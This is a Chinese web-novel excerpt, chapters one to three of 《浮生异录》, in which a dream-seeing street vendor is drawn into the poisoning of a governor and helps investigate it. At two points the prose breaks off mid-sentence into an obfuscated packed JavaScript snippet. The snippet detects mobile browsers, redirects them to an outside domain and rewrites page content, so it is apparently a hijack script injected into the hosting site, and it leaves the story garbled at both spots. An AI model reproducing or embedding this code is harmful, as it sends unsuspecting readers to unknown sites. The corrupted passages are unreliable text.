《浮生异录》 1. 缘起南梦·壹 时值仲春,夜半突然下起的大雪纷纷扬扬,将梅树枝头盛开的花压倒了一片,落进了院子里积起的厚雪之中。 四周风声簌簌,拍打着清冷的院门发出一阵一阵的异响。 半晌,屋内亮起了昏黄的烛光。 随着房门被人从里头打开,大风吹进了屋里,站在门口的中年男人瞳孔一张,嘴边渐渐流出了赤红的鲜血,倒在了风雪中。 * 明明身处在春日的艳阳之下,她却感觉到了被风雪裹袭的严寒。 南梦城清平镇的长街上,不绝于耳的是各种招揽生意的叫卖声,然而这样的热情没有蔓延到这个卖糖画的小摊后。 只见蜷缩在蒲草上的人儿身形娇小,褴褛的衣衫足足大了一圈,微风一拂,她秀眉一皱,又不禁缩了缩身子。 这时从隔壁巷子里跑出的几个小孩将她摊前的糖画搜刮一空,嘲笑的喧嚷: “小乞丐又在睡大觉。” “小乞丐啊小乞丐,没爹疼、没娘爱,想吃包子没钱买;不干活还不洗澡,整天只会睡大觉,难怪肚子咕咕叫啊咕咕叫!” 耳边充斥的嘈杂声渐渐汇入脑海,意识回笼。 阿旎睁开眼,就看见了围在自己四周的几张稚嫩的脸庞。 他们嬉笑着朝她吐了个舌头,炫耀般地晃着手里的糖画,可随着阿旎睁大了双眸,“我的糖!” 顿时从蒲草坐起,他们也瞬间作鸟兽散。 阿旎转头看着空空如也的摊子,深深地叹了一口气。 原来她又做梦了。 难怪午时的困意突然袭来,不由分说地将她拉入了昏睡。 自从五岁时起,这个毛病便一直困扰着她并给她添了不少麻烦,阿旎虽然已经有所习惯,但每次出现这种情况还是不免心中怨怼,尤其她现今搭摊做起了生意,实在影响她赚钱! 可是说来奇怪,阿旎抬头去看天,日头虽已偏西,但万里的晴空甚至看不到一点薄云,不像是会下雪的样子。 “阿旎。几个小兔崽子的零嘴钱。” 从巷子里走出的王婶打断了阿旎的思绪,挽过她的胳膊将五枚小银叶子塞到了她手里。 边陲小镇的经济不发达,加之位于伊祁与万俟两国边境之处,即使身在即墨国的庇佑之下,也因两国战火的弥漫,影响了些生意。 阿旎每天天还没亮就起来熬糖汁,一天却难有几单买卖,摊边枯坐着,料峭的春风一吹,人闲着便时常会起周公。 附近的住户经常拿她当反例教育孩子,而小孩们见她好逗弄,总爱欺负她,偷拿她的糖。 鬼灵精的,被她发现后,便满街满巷子跑,她好不容易才追上家门,又被一口咬定给过钱了。 求告无门,只得作罢。 好在还有一些明事理的家长,体谅她的难处,总会在过后给她付钱,一来二去的,也都熟络了。 过于熟络的王婶凑近她又低声说:“最近镇子里不太平,你一个女孩子早点回去吧。” 末了瞧过她的样子,又让她找个地方洗洗澡。 阿旎不解地低头闻了闻自己的衣裳,她虽然三天没洗澡了,但身上并没有什么异味。 不过听了王婶的建议,还是准备收摊去找个澡堂子。 忽然远处响起一声惊叫,一匹烈马朝着大道狂奔冲来,吓得人群慌乱四散。 眼见惊马就要撞上对面身怀六甲的妇人,阿旎眼疾手快地踢起脚边的箩筐砸向它脑袋,纵身翻越过摊子,她抬手一拨衔坠在发辫丝带上的金羽,顿时一枚银针从虚无幻化出手中,飞快地刺向了马的印堂穴。 惊马瞬间刹住了马蹄,仰天嘶鸣,马背上的人紧拉着缰绳,以匍匐之姿惊慌地抱着马脖子,才不至于摔下马背。 阿旎松了一口气,幸好那方士教她的防身术没荒废,准头还行。 拍了拍手上的灰尘,回去收拾摊子。 马背上的纨绔连滚带爬下马,缓过心神后装作镇定自若地理了理衣裳,就一脚踢在了摊子上。 “糖画占卜?” 阿旎停下手里的动作,诚恳的点了个头,“嗯。三枚小银叶子一次。” 没错,她的摊子不单卖糖画,还占卜。这是她打开糖画销路的一种策略,也是利用自身天赋特意开设的主要业务。 “算一次。”纨绔昂着头斜睨她,不屑地往她摊子上扔了一枚金叶子。 阿旎看着金叶子两眼瞬亮,一枚小金叶子抵两枚大银叶子,抵十八枚小银叶子。可以够她买好几个大包子了!还是肉馅的! 今天的糖画占卜第一次开张,阿旎立即将金叶子收进荷包里,笑问:“您要算姻缘还是算前程?” “本少要心想事成。”纨绔紧盯着她,斩钉截铁道。 阿旎愣了一下,了然,对方的野心和贪欲都写在了脸上。 伸出手与对面的男人十指相扣在了一起,闭着眼睛感应过后,摊开油纸,舀着一勺糖浆,在油纸上逐步绘出了一只流浪恶犬的形状,一边念道:“黄金散尽费心机,免强求谋兹是非,杨柳枝头黄雀语,螳螂岂敢捕蝉儿。①” 竹签往上一嵌,牢牢地粘上了糖画,阿旎将油纸一掀,伸手将糖画递过去。 “近期不要在大街上乱窜,不然你会有牢狱之灾。” 一直盯着她的纨绔脸上露出一抹猥琐奸笑,当即握住了她的手。 阿旎下意识想抽回,却被对方紧攥着不得动弹。 “你在戏耍本少爷?本少爷赏了你一枚金叶子,够你摆好几天摊了,可你却坏了本少爷气运,说,你用什么赔?” 别看她一张小脸蛋沾了污迹,五官却依旧能看得出娇俏标致,宽大的布衣遮不住白嫩的细颈,皮肤细腻如凝脂,两条辫子披在身前透着灵动,稍稍打扮定是个娇软美人。 这般想着,纨绔的另一只手便要欺上她身,“不如就用你自己吧!” 阿旎一惊,忙施动手里的银针扎上对方的手腕,纨绔瞬间手臂全麻,顺利挣开桎梏的她拔腿就跑。 “给老子追,今天老子非弄死这小娘们不可。” 身后恶霸不依不挠,指挥着手下追上她,连追了三四条街巷。 跑了好久的阿旎好不容易停下叉着腰喘了口气,倏尔抬头看见一旁的酒楼,里头人影绰绰,传来了满堂喝彩。 她转身便直往里边跑,却被势力眼的小二在门口生生拦住。 “哪来的乞丐?去去去。” “我有钱。” 小二瞥了眼她手里慌忙翻出的荷包,嗤了一声,“这点钱都不够我们这里一壶茶。” “请她吃顿饭吧。” 争执不下中,两枚金叶子递到了小二面前。 阿旎闻声转头看去,一身官服的中年男人面带沉重之色,看向她的目光却透出了几分怜悯,熟悉的轮廓令她一刻晃神。 中年男人见她呆呆地看着自己,又给了她一枚金叶子,转身上了二楼。 这是她梦里的那个人!南梦城的总督梁清松梁大人。 阿旎看了眼手里的金叶子,望向离开的人影,刚想追上提醒一句。 外头恶霸已经追了过来,在门口气喘吁吁地指示着身后小厮进入酒楼。 阿旎连忙钻过来往的人群往楼梯上跑,见着空地便蹿,误入一雅间,敞开的看台可观楼下全景,恶霸在底下搜寻,她随即往下一蹲,以栏杆掩住身形,猫着身进入里室。 只听台上说书先生手中的醒木一拍,又道:九神洲之上,万物有灵。 话说这诛魔之战后神族陨落,只剩下了沦为半神的九重星君青缨,神力尽失,空有千年之寿,然而就在这时天地间却诞生了天赋异能的异人。 异人族中有预梦、先知、读心、飞天、遁地和隐身等……其类众多。 其中预梦者可通过梦境看见未来之事,天赋高的还能行改梦之术化险为安,不仅耳目发达,可观千里,且拥有先知者占星之能…… 门外脚步声近,阿旎忙躲进柜子,小二带着女客人进入雅间,不多时又来了一个书生打扮的男子。 二人在圆桌前对坐着,从阿旎的角度只能隐约看见衣着华丽的小姐蒙着面纱和书生儒雅的背影。 小姐眼波流转,端茶时手一慌误将手帕掉落地上,书生弯下腰替她捡起,小姐的视线便从柜子细缝中直直投了过来,惊得阿旎屏住呼吸。 可小姐接过手帕,将她视若罔闻,又与男人一同品了口茶,接着,刚放下茶杯的两人还未来得及开口互诉衷肠,便昏倒在了桌上。 阿旎正感奇怪,却发觉眼皮越来越沉,随后也失去了意识。 不知过了多久,阿旎再次睁开眼醒来时,厢间里的人已经不见了踪影,台上说书的收了摊,甚至连夜间的歌舞都停了,此时只有打堂的小二和零星的一两个客人。 她跑出酒楼,却见这暗沉夜空里飘起的小雪逐渐下大,而朗月高悬。 思来想去,阿旎决定去一趟梁府,如果能阻止一切的发生,也算对得起今日这梁大人帮她的善举。 阿旎用梁大人给的钱买通了收夜香的老妇,装作老妇的女儿一同从后门进入了梁府。 行至后院,借口三急,与老妇分头。 不料白日里纠缠她的恶霸也在这府中,阿旎连忙躲往拐角边的墙后,幸而那恶霸有着几分醉意,一脸春心荡漾的急切推门入了一间厢房,并无所察。 一路波折来到正院,恰逢看见打开房门的梁大人,阿旎刚欲快步接近,后者摇晃的身形却倒在了风雪中。 幼时的记忆翻涌,平淡午后的一场意外将她变成了人人唾弃的灾星,彼时兄长落水夭折,全因她的梦,一语成谶。 教她做糖画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751388|157631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的婆婆说她是有福之人,应上天之意,为了天下苍生而生,可每次她只能眼睁睁地看着预言成真,束手无策。 阿旎犹豫着,缓缓向前迈了一步,随后又一顿,突然想到若是被当成凶手那就不好了,当务之急还是尽快离开梁府。 忽而风起,屋檐上悄无声息的出现了一群正在逼近的黑影。 阿旎见势不妙,刚想拔腿脱逃,那群黑影已将她团团围住。 很快其中两人便把她的双手制住,迫使她跪到了雪地上,怕她自尽还堵住了她的嘴。 一个侍从查探过梁大人的尸体,对着身旁为首的主子摇了摇头。 他示意,那侍从便颔首应下,转身消失在了夜色中。 后来穿过两侧自动退开的侍从,他从黑暗中走上前,一身斗篷压住了底下的墨色锦衣,可只看脚下一双华靴,便知身份不凡。 落入耳中的声音冷漠又清沉,“谁派你来的?” 听起来年纪不大,阿旎不禁慢慢抬起头,望进了一双深邃眼眸。 皎洁月光泛起雪地一层淡淡的银色光华,也将他的俊美覆上一派柔和,并无威慑之力,倒是与人族刚及弱冠的少年郎无二。 可不知是身处这风雪中的缘故,他的眉宇间也有一股清冷。 “小人只是路过。求大人放过。” “路过?” 居高临下的人咂摸着她的话,显然不信。 阿旎虽然不知道这些人是什么来路,但猜他们夜探梁府,必定有什么见不得人的地方。 微微垂下头,她敛眸,掩住了转动的眼珠子。 “小人入府收夜香,一时迷路,才误入这院中。” “你撒谎。” 听似不带任何情绪的话语却像屠刀落下的命令,不多时一旁侍从就将一把利刃横在了她脖子上。 寒刃划破了她的肌肤,刺痛感瞬间提醒了她此时的处境。 阿旎这时才意识到,他们是真的会杀了她。 而眼前人如隼鹰般锐利的眼穿透她的瞳孔,似乎她的一切伪装都将无所遁形。 “小人是城东街上一个卖糖画的小摊贩,今日小人做了一个奇怪的梦,梦里梦到了梁大人遇害的场景,小的为了求证才特地前来梁府……” 司空翊听了在她面前半蹲下来,骨节分明的右手抬起了她的下巴。 “你是异人?” 手掌炽热的温度覆上肌肤,阿旎却越感脊背寒凉,身子颤抖。 她从前在集市的话本里看到过,那些纨绔公子就都是这样挑醉花楼里的姑娘的,可眼前人的动作非但没有半分轻浮之感,甚至还一点也不怜香惜玉。 五指舒展移至颚下,虎口便完全禁锢在了命脉之上,似乎再轻轻一用力,就会把她的脖子拗断。 阿旎明亮的眼睛灼灼地盯着审视自己的司空翊,如同见到猎人的幼兽,咽下涌到嗓子眼的紧张,点了点头。 “司职?入册名?” 自异人族诞生,便与神族纷争不断。 分散九神洲四国的异人时常引发各国内乱,更有甚者直接挑起几国战事。 十年前即墨国覆灭常夏国后,问鼎国力之最,又因幅员辽阔,人口众多,首当其冲。 为解异人之忧,即墨王下令规定,凡是异人必须入善缘司登记,由官府统一管理,登记的异人都会被根据能力安排相应司职,并赐予入册名。 所有人不得擅杀异人,有违者施斩首刑并株连子族。 然而像她这种没有登记在册的异人,私自在民间活动被视为大罪,那也是会杀头的。 这些年来阿旎一直隐藏身份,为的就是一个自由之身。 她从小生长于乡野,过惯了无拘无束的生活,更讨厌官府的人,看似给予了他们至高无上的荣耀,却要求他们戴上神族特制的九星神锁,那与身负镣铐的罪民何异? 司空翊侧过阿旎的脸,目光落向她脖颈处,果然并无善缘司载明身份的九星神锁。 “我是流民,暂未入册。”阿旎看出了他的恻隐之心,诚惶诚恐地答道,希望以自己的坦白换取一线生机。 “你想活?” 阿旎点点头。 司空翊看了她一会儿,孑然站起,一双手便负到了腰后,似是在短暂地思忖后有了新的决定。 “你若想活,那便为我所用。” 此时人为刀俎我为鱼肉,阿旎纵使再不愿,也不得不俯首称臣,快速地盘算过后,想着暂且假意归顺,再找机会逃跑。 她捂着脖子处的伤口,乖觉地应下。 “是……是。” 不料话音刚落,远处的长廊里传来一声闷响,是手里的灯笼落到了地上。 惊慌失措的梁府管家看着眼前的一切,顿时失声大喊:“来人啊,有刺客,快来人啊,老爷遇害了!” 2. 缘起南梦·贰 一时间,赶来的府兵举着照明的火把将他们包围。 “大胆刺客竟敢夜闯我们梁府,杀害老爷,都给我拿下。” 梁夫人刘香施在管家刘仁贵的陪同下走上前,指挥着府兵将他们捉拿。 黑衣侍从随之做出了准备应战的姿势。 唯有中间的主子依旧负手而立,不动如山。 忽而一队官兵行色匆匆而至,后头男人朗声高喊“住手。” 张镇抚快步上前对着司空翊俯身作揖,“不知公子造访,下官有失远迎。” 吓得梁夫人与管家战战兢兢低下头,神色都变得低眉顺眼。 “我家少主此次奉命南下,途径清平遇刺追查至此,却撞上梁总督被害,张镇抚,你可得好好彻查此事。”此前离去的近卫雨鲸随着张镇抚出现,代沉默的主子出声。 恩威并施的话语意味深长。 张镇抚连连恭敬应下,便招手道:“来人,还不快把刺客拿下。” 刺客? 阿旎震惊地看向司空翊。 不是说为他所用,就可以活命的吗? 不料司空翊不为所动,只余余光睥睨着,冷眼旁观这官兵将她钳制。 “我不是刺客!” 阿旎心下一沉。 她流落九神洲多年,过过寄人篱下的生活,也曾在恶犬底下夺食,自小就学会了察言观色,此时也看出了这厮估计猜到了她此前并非心悦诚服,有着逃跑的心思,遂故意威吓。 仓惶挣脱束缚,阿旎连忙一把扑过去,抱住了司空翊的大腿,就开始梨花带雨。“我不是刺客。公子,小女子是良家女啊,您不能因为我不愿从了您,就任由他人诬陷我啊。” 语如惊雷,瞬间将众人劈得外焦里嫩。 众人面面相觑,任谁也不相信,他们公子会看上一个乞丐。 而她一个卑贱的流民竟敢如此颠倒黑白。 可阿旎打定了主意,要赖上司空翊,毕竟能让官府都礼让三分的人,绝对能够保她性命无虞。 她的视力好,即使是在这夜色之下,也看见了他的耳根子逐渐泛红。 意外之余,又拿出话本里逼良为娼的戏码,继续添油加醋。 “小女子从了您还不行吗?今晚小女子就洗干净了等着您好不好?” 这样的事情还是头一回发生。 承御门“七杀”的刀剑向来无眼,每个人手上都沾着不少鲜血。 是以屠刀之下,跪在司空翊面前求饶的人不说数以计千,也有数百; 然,多年来并无敢且能近他身者,只因他存在本身便可冰冻三尺,而他的手段比起他人更为可怕,不用旁人出手,那犯上者已然痛不欲生还求死不能。 可此时的主子并无不悦怒色,侍从欲上前拉开阿旎,又领会地制止了神色迟疑的官兵再实施动作。 司空翊不是不想踢开阿旎,只是念及她还有用,又莫名顾虑她这单薄的小身板能不能接住他这一脚,万一闹出了人命总归麻烦。 好整以暇地睨着她一副讨好模样,施施然伸手抚上她的脸颊。 阿旎一愣,却还是像乖巧的猫儿一样贴着他的手掌心,突然一颗药丸塞进她嘴里,随后用力一捏使她咽下。 注意力顿时被分去大半,阿旎被司空翊不轻不重地推开,趴在地上猛拍起胸口,却怎么也吐不出来,难以置信地抬头看他,这人给她喂了什么? “要做我的人,也得先让自己重获清白。” 似是丝毫不惧影响,司空翊嘴角轻轻勾起一个弧度,顺着她的话便说,并不在意旁人投来的暧昧不清的视线。 至此,阿旎也总算是看明白了,这人并不打算替她张目。这是让她自己想办法自保的意思。 张镇抚眼神微乱。 他身为承御门“天招”,暗伏清平几十余年,虽然才初见这位万人之上的督察使,却也早就听闻了其打马入京时满楼红袖招的轶事,和出了名的铁面无私不近人情。 早在三年前,有岳东老妪冒认神祖娘娘指控帝渊身世,他便于诛神台亲示万箭凌迟一举成名,又斩杀涉事者百余人,其中就包括于他有恩的母族中钦慕他多年、即将议亲且贵为岳西第一颜的表妹。 并非贪图痴爱女色之辈,更遑论假公济私。 然而此时这般,或是传闻有所出入? 风雪愈烈,刮着脸颊有如刀刃剜肉之刑,张镇抚暗窥眼前心思难测的权贵,后知后觉,方才底下人差点触了这小爷的霉头,倒吸了一口凉气,暗叹这大雪夜是越来越冷了。 随即佯装着咳了一声。 “是不是刺客一审便知。” 偌大的前厅里,灯火通明。司空翊坐在首座之上,端起了下人奉来的热茶。 阿旎跪在地上,听着仵作对着上方之人与张镇抚报告刘大人的死因:身中剧毒,脖颈处发现了一枚银针,贯穿喉咙。 梁府全府封锁,所有人都被进行了一个严格的审查。被阿旎收买的夜香妇、白日里纠缠她的恶霸,也陆陆续续被带到了正厅。 恶霸这会儿已然被冲进房中的官兵吓得酒醒,见到阿旎,仓惶指着她叫嚷:“凶手一定是她,今日这叫花子曾以一枚银针伤我,致我手臂全麻!” “莫非你非礼开罪于我,我也不会动手。那只是略惩小戒,根本伤不了人!” “轩儿是民妇侄子,从娘家过来学着帮忙打理家业的。”梁夫人听闻阿旎的谴责,脸上闪过一丝不自然,朝着主位裣衽行礼,忙替被怼得哑口无言的刘少轩辩白。 “虽然从小被家里宠惯,以至于平日里言行有些无状,但绝对不是什么饥不择食的好色之徒,这其中定然是有什么误会。” “本官怎么听说这小子是从小姐闺房中带过来的?”张镇抚冷哼一声,看向梁夫人一旁垂首低眉的女子。 鹅黄罗衫的女子低着头嗫嚅,还不待她回复出声,梁夫人着急忙慌地接过话头,解释道: “小女梁思思,是贱妇与大人痛失亲女后收养的孤女。两个孩子青梅竹马,我和大人七年前就给他二人订了亲,如今正是情窦初开的年纪,难免……失了些分寸。” 说着,她杵了杵女子手臂,女子便默然点了点头。 “本来今年我和老爷就要为他二人准备婚事,可如今老爷……” 梁夫人掩面而泣,过后收起泣声,又将矛头对准了跪在地上的阿旎。 “倒是这小叫花子,冒充夜香妇之女,混入我府中,欲意何为?” 张镇抚随之偏头看了过来,“你说你不是刺客,为何会出现在梁大人的遇害现场?还不从实招来。” 阿旎盯着青砖地板的眼珠子快速转了转,她身为异人的身份定然是不能暴露的,便道: “小人幼时曾师从海云方士,学过占卜,是以平日里都在城东的十柳街摆摊占卜为生。师门有训,占卜遇凶,无作为者,噬及自身。 梁大人今日在满堂香楼赠于我一枚金叶子,小人感念大人恩情,遂自作主张替大人占卜官运以报恩,却占得大凶,来到府中本是要提醒大人有所防备,不料却发现大人已经遇害。” 张镇抚思索着摸了摸胡须,“传闻这海云方士两年前在一次占卜后无缘无故暴毙,世人皆说是卜运反噬,天道报应,莫非与这师训有关?” “正是!外人不解,皆谣传师门为恶,是以上天降下神罚。然则师父当时心情郁结,醉酒犯浑,痛骂师祖为后人设限,一时枉顾师训,才遭厄运缠身,一命呜呼。” 阿旎佯装着一把鼻涕一把泪,诚惶诚恐的从身上拿出一枚金羽呈上。 “此乃师门所证。” 张镇抚仔细查看着精美的金羽,不禁点了点头,这倒也算合理。 “早就听闻海云方士飘然若仙,以一枚金羽晓知天下,原来所传不假。” 不料梁夫人冷然出声:“笑话,依你所言,为何不光明正大向门房禀报,求见老爷和本夫人,反而要偷偷摸摸进入府中?” “小人惶恐,不敢惊动夫人。” 南梦城无人不知梁大人家中有位强势的夫人,虽多年无子,却一直不允许其他女人进门,外人皆道梁夫人善妒,德行有失。 还是梁大人以专情自称,才消了街头巷尾的流言蜚语。 此时戳到痛处,梁夫人如同惊弓之鸟,厉声呵斥,“一派胡言。” 片刻自觉失态,缓了缓心神,转头又对着张镇抚诉苦,“大人,此人形迹可疑,杀害老爷的作案手法与今日伤了轩儿的手段如出一辙。难道刺客口齿伶俐,做了万全准备,就能掩盖是刺客的事实?还望大人明断啊。” “那么敢问夫人,梁大人素日里可有与什么人结怨结仇?”阿旎问。 梁夫人不明就里,却趾高气扬地回:“我家老爷为官清廉,性格温和敦厚,从不与人争锋,怎会与人结仇?” “即使是夫妻争吵、打骂儿女、苛待下人也没有?” 梁夫人一顿哽塞,这时刘管家接口回道:“老爷为人亲和,就连对待犯错的下人也不曾红过脸,更别提对待亲近之人了。” “那么我与梁大人素昧平生无冤无仇,又有什么杀人动机?” 厅内一瞬静默,阿旎转头又问地上形如一滩烂泥的男人。 “再问刘公子,今日那枚银针所在何处?” “谁知道,本少早就当街弃了!” 阿旎听了顾自点了点头。“既无物证,如何证明这枚银针是我的?” 说着,她抬起交叠的双手,俯首行肃拜礼,“小人今日所言句句属实,大人派人去一查便知。” “确无证据。”张镇抚心服首肯。“但是在抓到刺客之前,本官也不能放了你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751389|157631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不瞒大人,师门有一秘术,可以物寻踪,恰好小人尤为精通。大人可否将那枚银针交由我查看?小人愿帮大人查清真相,以证清白。” 张镇抚的余光扫向司空翊,捋了捋巴下青胡。 “既无证据证明此人凶嫌,不如就让她试试。她身中蛊毒,若是敢跑,误了每日按时服用解药,不出一个时辰就会暴毙而亡。” 司空翊的指尖敲在桌面上,细小的动作并不明显,微微发出一点轻响,不及阿旎心头的一震。 蓦然抬起双眸,她瞠目结舌地看向司空翊。 后者意味不明的目光落到她身上,端得一副作壁上观,不可向迩。 斯文起身,腃握的右手随之置在腰珮前,左手负至身后,清离的眸光垂落向她,示意她从地上爬起来。 “你只有三天时间。” 阿旎幽怨地暗瞪了司空翊一眼,这人明明没有那些兵士武将的粗鄙,清风霁月,看起来还有些儒雅的文人气,怎么手段这么阴毒? 揉着膝盖从地上站起,撇了撇嘴,“我想先到梁大人的院子看一看。” 梁大人的院落就在前厅之后,距离并不远。穿过两侧的几步回廊便能看见庭院里的芳草池塘,池上有一景造小木桥,正对着那棵挂上晶莹冰凌的梅花树。 屋前木阶两级,扁牍上写着“雪院”二字,飞檐下的门亭连通左右两侧替行人遮蔽风雪的回廊。 随着春雪夜的严寒进入敞开的门扉,阿旎仔细观察起屋内的陈设。 一张朴素的木榻摆在正对大门的正中,左右分别是嵌入墙壁的柜子,一侧置衣,一侧放着文房墨宝及书稿。 木榻正前方是一张六凳的榆木圆桌,在木榻与圆桌中间有一个烧炭的暖炉,此时暖炉里的木炭才刚刚燃烬,还能看见隐约星火。 而一侧书案后的屏风上画着苍劲有力的青竹,除此之外再没有任何华丽的装饰。 转了一圈的阿旎毫无所获,倒是忙了一天这会儿口干舌燥,径自拿起桌上的茶壶给自己倒茶,不料壶嘴缓缓流出一滴水,她再次加大倾倒弧度,睁大的瞳孔盯着壶嘴,半晌也没有再有一点表示。 打开茶壶盖一看,里头只剩下泡干的茶叶,泄气地将茶具放回茶盘里,清闷的当啷声瞬间引得司空翊看过去,微微皱眉。 “看出什么了?” “这么大的官竟然连一口茶都没有。” 阿旎没将他冷然的质问放在心上,喃喃抱怨,突然回头撞上他肃然地审视,才微微垂下眼睫,摇了摇头。 “你那秘术当真有用?” “当然。” 阿旎仰着头,正欲介绍她那引以为豪的能力。 可司空翊没搭理她,眸光扫过物证盘里的银针,就示意她赶紧。 阿旎微微撇嘴,“万物有灵,死物也像人一样有所来去,因此也可以告诉我们它都去过哪儿。” 从书案上拿过一张宣纸,画了一道符阵放到物证盘中。 她拿下绢带上的金羽,在手中幻化出蓝紫色的火焰。 火焰覆上银针,渐渐变成一朵绽放的昙花,飞向远空,代替她的耳目,带领她的思海穿越城中的大街小巷,从针线行到布店,再到梁府库房,最后再到梁大人居住的雪院。 “这枚银针应该是近日与针线布匹一类物品一起采买的,并非专人专门购来用于暗器机栝。”看着如同一朵绽放昙花的火焰落在手掌心里,阿旎说。 随后轻轻一吹,仿佛火簇熄灭,花瓣凋零,化为烟雾散去。 司空翊幽深的目光锁落在她身上,在她回望过来时相交在了一起,缠绕地在半空里停滞了半秒,才缓缓移开。转身回过头在圆桌旁的杌凳坐下,示意木然呆住的她继续说下去。 阿旎心虚地摸了摸鼻子,这当然不是单凭什么师门秘术就可以做到的,好在她先前机智的用一张符阵作掩,并没有引起怀疑,张镇抚也只连连称道:“没想到海云方士一脉的卜术如此登峰造极。” “张大人可派人去府中库房取来银针对比,再询问这两天内负责此类物品采买的人员,看看占卜是否一致? 银针出自梁府库房,能够接触的人一定是梁府中人,只要重点排查今日内领用针线的人,便能从中找出杀害梁大人的凶手。” 银针的打磨不易,价格昂贵,即使是大户人家购置的数量也有限,但凡领用的人都要进行登记,张镇抚恍然大悟,拍了一下脑袋,当即着手去派人调查。 “不能确定对方身份?”司空翊问。 阿旎否定摇头。“路是特定的,但每日在这条路上来往的人却不少,更何况这类公用物品经手的人本来就多。即使是某个人的贴身之物也只能知道对方的行踪,以行踪再倒推其主人;如果是以人寻物那就好办多了。” “那若是刺客偷偷潜入库房盗取银针,并无记录呢?” 3. 缘起南梦·叁 事实果然被司空翊说中。 张镇抚回来禀报,梁府最近一次针线布匹的采买就在昨日,负责采买的侍女一共购置了五枚银针,加之府中从前原有的一共六枚,而库房领用记录上显示—— 此前梁夫人的侍女如霜领了三枚,用于梁夫人给梁大人制作寿礼,厨房负责膳食的王嬷嬷领了一枚缝制旧衣。 但此时库内只剩一枚银针,缺了一枚。 经过盘查,如霜与王嬷嬷出示的银针数量一致。 “可凶手若是有备而来的刺客,怎么会在刺杀前临时进入库房盗取凶器呢?想想都不可能。不然多此一举的目的是什么?若是临时起意,此人一要么对梁府地形尤为熟悉,要么有内应,二误打误撞。” 阿旎支着下巴凝眉神思,半晌感知到司空翊含疑的秾睇。 后背一阵不寒而栗,知道这是刚才好不容易把自己和嫌疑撇开关系,现在又把自己绕进去了。 微顿后坦然摊手,阿旎大摇大摆地坐到了圆桌一侧。“可这样一来梁府的人都有嫌疑。” 怕是刺客为假,家贼乃真。 “无论如何,这也算是对你有利的证据了。” 司空翊摩挲着指腹,斜睨了低头将几个茶杯胡乱摆玩的她一眼,抬眸看向张镇抚。 张镇抚心领神会,梁大人的死估计不像表面这么简单,当即转身出门派人去盘查梁府众人。 “其实我有件事一直想和你说。” 眼看着门外人影走远,阿旎闪躲的目光才再次恢复诞肆。 末了瞧见他并未属意,而两人之间隔着圆桌好一段距离,她单膝撑着杌凳站起,又俯身支上桌子,凑近司空翊。 “在我的梦里,刘大人并不是被银针杀死的。” 在梁大人打开房门的那一刻,他的嘴角便涌出了鲜血,后来飞来的银针刺进他的咽喉,已是他摇摇欲坠将要倒地之时。 “所以梁大人的死,并非银针上衔毒所致,而是内服之物起的作用。有人故意伪造了命案现场,混淆视听。” 阿旎说着得出结论,然而司空翊面上并没有什么意外之色。 她不由地疑窦渐生。“你早就知道了是不是?” 司空翊没有回答她这个问题,只凝视着她蕴着潋滟波光的瞳,棕褐色的虹膜外似乎有一圈异美的紫,一不留心便可能会被勾走心神。 “你的能力远比我想象的要特殊。”他说。 摇曳的烛光里,熠熠眸中映着她的影子,明明如寒星般没有任何温度,却明灿无比,阿旎一时恍惚,在他意味不明的意有所指中陷入怔忡。 而他移开对望的一双华眸,又投向了前方正对着屋子大门的浮雕璧墙。 “此院面朝南方,正对前厅,亥时初正是前衙府兵交接之时,若有刺客于墙垣之上持机栝射杀死者,不可能没有人发现,而从北面而来的我们也没有看见逃跑的可疑之人,除了你。” 阿旎回过神,脸上一热,不自然地将目光闪躲至一侧,低头摸了摸自己的脖颈。突然一道灵光钻入脑海。 她再次抬起头问:“刺杀你的刺客呢?” 没想到她还记得此事,司空翊的余光在阿旎身上一瞥而过。 “没有。” “没有?什么意思?那刺客你们也没看见?” “并没有刺客。” 伊祁与万俟一战苦久矣,向来不分轩轾,可近月万俟却连连失势,民间已有归顺之言传出,届时或将开启九神洲新时局,伊祁便可与即墨分庭抗礼。 为防平世生变,即墨王命他暗中筹措战资,以备不时之需,却不料牵带出了即墨与常夏战时救济粮与军用被盘剥的陈年旧案,而当时的战场后方正是南梦城。 他表面奉命南下前往驻地,实为暗中彻查此事。 然而就在今日,他刚到此地,入城时,一道穿着一张白纸的箭簇却直飞插到城门上,引起了他的注意。 白纸上方说的,是他记挂多年之事。 昏蒙夜色中,他只看见那道暗影从房舍檐壁上抽身离去,便因难捱心中郁结,当即奋起直追。 彼时追到一半,暗影消失,梁府传来异响,几人赶至雪院,便看见了阿旎。 起初他也以为她是那送信之人,仔细分辨后却发觉虽同为女子,打扮和身形却不大一样。 只是梁清松这个与粮草案、与他在意之事皆有关联的人,恰巧死在了今夜。 是意外,还是阴谋? 无论如何,对方引他入局,他已在局中。 见司空翊对此缄口不言,一副讳莫如深,阿旎不禁越发好奇他的身份,这会儿才发觉雍华锦绸之上,精细的锻捻红丝暗纹少见地绣着山海,流云绕、水波涌,在他身上显得清雅超脱又桀骜。 “罢了,你们这些大人物的秘密也不是我等小人该知道的。” 惴惴地收回打量的目光,阿旎废然一叹,漫不经心地坐回圆杌。 “可是有一点很奇怪,凶手是怎么做到神不知鬼不觉的?而且当时并没有人敲门,梁大人为何要打开房门呢?” 经过她对这间屋子的查看,并没有发现什么让梁大人仓皇出门的异常。 她将案发过程重演了一遍,走到门口将房门关上,又打开。 如此反复了三遍,终是挠着头走了回来。 